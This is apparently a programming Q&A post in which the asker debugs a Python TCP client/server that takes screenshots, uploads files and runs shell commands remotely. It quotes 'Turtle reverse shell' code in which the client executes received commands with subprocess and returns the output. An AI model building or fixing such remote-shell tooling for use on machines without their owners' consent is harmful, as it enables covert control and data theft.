I am trying to do something similar to this: Execute CMD commands using python but I don't think that gave a clear answer and it is three years ago, so I am asking again.
I have a TCP connection between a server and client. That means that I am able to make screenshots upload files and similar stuff. Pretty useful to have actually!
In my code I first establish a connection on the server and client side. Then they are connected and I can send commands with
conn.send("text".decode())
and receive it on the client side with
some_text = s.recv(1024) #bytes
print(some_text.decode)
I can send commands to the server from the client too with
s.send("text".decode())
and receive text on the server side with
some_text = conn.recv(1024)
print(some_text.decode())
The thing is that I currently have a
while True
loop where I ask the server: Please enter a command and it loops trough a couple of if statements asking:
if command == "screenshot":
#Make screenshot
elif command == "upload_file":
#Upload file
=>
I want this to look like a person has opened a command prompt
Microsoft Windows [Version 10.0.18363.1198]
(c) 2019 Microsoft Corporation. Alle rettigheder forbeholdes.
C:\Users\Lukas>
and when the user for instance types ipconfig everything that it outputs should be seen on the server side with a print statement. The person controlling the server can then type a new command and it will look as if it the actual command prompt opened inside of my server.py file
I currently have looked up the Turtle reverse shell built in Python.
This is the code that they use
server.py
while True:
cmd = input()
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024), "utf-8")
print(client_response, end="")
client.py
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd_command = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd_command.stdout.read() + cmd_command.stderr.read()
output_str = str(output_bytes, "utf-8")
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
When I paste it into my code and modify a the cmd variable name (I have the exact same in my script) some commands work like: shutdown -s -t 100 -c "StackOverflow" but others don't like. When I for instance run dir it shows me nothing and keeps doing so forever. I can't type anything in.
Pictures:
Server.py CMD function
Client.py CMD function
When I run a cmd command: example "shutdown .." it shows a shutdown dialog on my computer. This is the only command that seems to work.